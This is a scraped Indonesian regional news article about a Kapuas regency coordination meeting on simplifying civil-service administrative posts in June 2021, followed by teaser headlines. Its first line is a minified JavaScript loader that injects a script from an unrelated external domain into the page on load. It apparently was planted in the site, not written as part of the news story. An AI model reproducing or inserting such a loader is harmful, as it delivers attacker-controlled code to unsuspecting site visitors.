(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KUALA KAPUAS – Pemerintah Kabupaten (Pemkab) Kapuas menggelar rapat koordinasi penyederhanaan birokrasi tahap II menyusul Surat Mendagri Nomor 060/1970/OTDA tanggal 26 Maret 2021 perihal penyederhanaan birokrasi pada jabatan administrasi di lingkungan pemerintah daerah provinsi dan kabupaten/kota, di aula Bupati Kapuas, Kamis (3/6/2021).
Kegiatan dibuka Asisten Administrasi Umum (Asisten III) Setda Kapuas Idie I Gaman didampingi Kabag Organisasi Hery Setiawan bersama Kepala Organisai Perangkat Daerah (OPD), Sekretaris OPD dan pejabat kepegawaian.
Narasumber menghadirkan Kepala Bagian Kelembagaan dan Analisi Jabatan Biro Organisasi Setda Provinsi Kalimantan Tengah, Betri Susilawati SPI didampingi Kepala Sub Bagian Analisis Jabatan Biro Organisasi Setda Provinsi Kalimantan Tengah, Toni Susanto.
Asisten Administrasi Umum Setda Kapuas Idie I Gaman mengatakan tujuan dari rapat koordinasi untuk memberikan arahan penjelasan terkait penyederhanaan birokrasi dan diharapkan semua perangkat daerah bisa mengerti penyederhanaan birokrasi tersebut.
“Rapat Koordinasi pada hari ini kita akan sepakati dari tahapan-tahapan yang telah dilakukan dan yang akan dilakukan kedepannya,” ucapnya.
Kabag Organisasi, Hery Setiawan mengatakan, sebelumnya batas dari penyederhanaan birokrasi tsampai dengan 30 Juni 2021 dan mendapatkan perubahan dari Permenpan Nomor 17 tahun 2021 yaitu sampai Desember 2021.
“Dasar yang akan kita pakai adalah Permenpan Nomor 17 tahun 2021 tentang penyetaraan jabatan administrasi ke dalam jabatan fungsional dan kedua adalah Surat Mendagri Nomor 060/1970/OTDA tanggal 26 Maret 2021 perihal penyerderhanaan birokrasi pada jabatan administrasi di lingkungan pemerintah daerah provinsi dan kabupaten/kota,” jelas Hery.
Sementara itu, Kepala Bagian Kelembagaan dan Analisis Jabatan Biro Organisasi Setda Provinisi Kalteng, Susilawati SPI mejelaskan, Pemprov Kalsel secara gencar menginformasikan terkait penyederhanaan birokrasi dengan cara membuka forum-forum publik dan berdikusi. “Karena adanya penafsiran atau hal-hal yang mungkin disampaikan di kalangan PNS tidak sesuai dengan petunjuk dari pusat,” katanya.
“Kami sangat berterima kasih kepada Pemerintah Kabupaten Kapuas bisa membuat pertemuan yang mana kita dapat memberikan informasi serta paparan terkait penyederhanaan birokrasi ini,” pungkasnya. (kanalkalimantan.com/ags)
Editor : kk
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More
This website uses cookies.